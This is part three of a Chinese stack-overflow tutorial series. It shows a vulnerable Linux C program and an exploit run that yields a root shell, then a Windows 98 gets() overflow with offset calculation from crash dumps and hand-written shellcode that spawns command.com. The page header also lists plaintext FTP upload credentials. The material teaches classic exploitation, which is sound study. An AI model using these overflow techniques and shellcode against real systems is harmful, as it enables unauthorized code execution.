安全中国首页 > 文章中心 > 溢出文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

堆栈溢出技术从入门到高深(三)

更新时间:2007-12-17 0:14:42
责任编辑:池天
热 点:
下面来试一试:  

我们先写一个漏洞程序:  
vulnerable.C  
------------------------------------------------------------------------  
----  

#include <stdio.h>  

int main(int argc,char ** argv)  
{  
char buffer[1000];  
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));  
strcpy(buffer,argv[1]);  

return 0;  
}  
------------------------------------------------------------------------  
----  

[nkl10]$Content$nbsp;./exploit  
Jump to 0xbffff63c  
I am herebffff280,buffer1224  
Connect to the shell  
Can"t connect to the shell  
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样  
就可以  
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。  

[nkl10]$./exploit 956  
Jump to 0xbffff280  
I am herebffff280,buffer1224  
connect to shell  
whoami  
root  
id  
uid=0(root)......  
uname -a  
Linux localhost.localdomain 2.2.5-15。。。  


嘿嘿,大功告成了。  

--------------------------------------------------------------- 

window系统下的堆栈溢出--原理篇  
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序  
的  
堆栈溢出漏洞。  

让我们从头开始。windows 98第二版  

首先,我们来写一个问题程序:  
#include <stdio.h>  

int main()  
{  
char name[32];  
gets(name);  
for(int i=0;i<32&&name[i];i++)  
printf("\\0x%x",name[i]);  
}  

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程  
序  
一个很长的串,肯定可以覆盖堆栈中的返回地址。  

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaa  
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0  
x61\0x61  
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0  
x61\0x61  

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点  
击  
详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我  
们。  
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏  
移位置。  

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1  
12345678910111213141516171819202122232425262728293031323334353637383940  

\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0  
x32\0x31  
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0  
x30\0x32  
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细  
信息  
按钮,下面是详细信息:  

VUNERABLE 在 00de:32363235 的模块  
<未知> 中导致无效页错误。  
Registers:  
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246  
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233  
ECX=00000020 DS=0187 ESI=816bffcc FS=11df  
EDX=00411a68 ES=0187 EDI=00000000 GS=0000  
Bytes at CS:EIP:  

Stack dump:  
32383237 33303339 33323331 33343333 33363335 33383337 c0000005  
0064ff68  
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78  
bff8b86c  

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计  
算  
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name  
变量  
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的  
shellcode。  
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始  
地址  
是多少呢?  
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为  

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在  
windows  
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址  
都  
是相同的。也就是说,每次运行,name的地址都是0x64fdd4。  

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检  
测,  
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析  
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。  

OK,万事具备,只差shellcode了。  

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一  
个  
dos窗口,这样在这个窗口下,我们就可以作很多事情。  

开一个dos窗口的程序如下:  
#include <windows.h>  
#include <winbase.h>  

typedef void (*MYPROC)(LPTSTR);  
int main()  
{  
HINSTANCE LibHandle;  
MYPROC ProcAdd;  

char dllbuf[11] = "msvcrt.dll"  
char sysbuf[7] = "system"  
char cmdbuf[16] = "command.com"  


LibHandle = LoadLibrary(dllbuf);  

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);  

(ProcAdd) (cmdbuf);  

return 0;  
}  

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个  
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。  

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说  
,  
windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。  

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个  

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一  
个  
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由  
msvcrt.dll  
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从  
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地  
址  
只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,  
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。  

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接  
库  
msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,  
system)  
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。  

好了,现在可以编译执行,结果正确,我们得到了一个dos框。  

现在对这个程序进行调试跟踪汇编语言,可以得到:  
15: LibHandle = LoadLibrary(dllbuf);  
00401075 lea edx,dword ptr [dllbuf]  
00401078 push edx  
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]  
0040107F mov dword ptr [LibHandle],eax  
16:  
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);  
00401082 lea eax,dword ptr [sysbuf]  
00401085 push eax  
00401086 mov ecx,dword ptr [LibHandle]  
00401089 push ecx  
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]  
00401090 mov dword ptr [ProcAdd],eax  
;现在,eax的值为0x78019824就是system的真实地址。  
;这个地址对于我的机器而言是唯一的。不用每次都找了。  
18:  
19: (ProcAdd) (cmdbuf);  
00401093 lea edx,dword ptr [cmdbuf]  
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址  
00401096 push edx  
00401097 call dword ptr [ProcAdd]  
0040109A add esp,4  

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代  
码  
是否能够像我们设计的那样工作:  

#include <windows.h>  
#include <winbase.h>  

void main()  
{  

LoadLibrary("msvcrt.dll");  

__asm {  
mov esp,ebp ;把ebp的内容赋值给esp  
push ebp ;保存ebp,esp-4  
mov ebp,esp ;给ebp赋新值,将作为局部变量  
的基指针  
xor edi,edi ;  
push edi ;压入0,esp-4,  
;作用是构造字符串的结尾\0字符  
。  
sub esp,08h ;加上上面,一共有12个字节,  
;用来放"command.com"。  
mov byte ptr [ebp-0ch],63h ;  
mov byte ptr [ebp-0bh],6fh ;  
mov byte ptr [ebp-0ah],6dh ;  
mov byte ptr [ebp-09h],6Dh ;  
mov byte ptr [ebp-08h],61h ;  
mov byte ptr [ebp-07h],6eh ;  
mov byte ptr [ebp-06h],64h ;  
mov byte ptr [ebp-05h],2Eh ;  
mov byte ptr [ebp-04h],63h ;  
mov byte ptr [ebp-03h],6fh ;  
mov byte ptr [ebp-02h],6dh ;生成串"command.com".  
lea eax,[ebp-0ch] ;  
push eax ;串地址作为参数入栈  
mov eax, 0x78019824 ;  
call eax ;调用system  
}  
}  
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起  
了  
当年用286的时候了?  

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画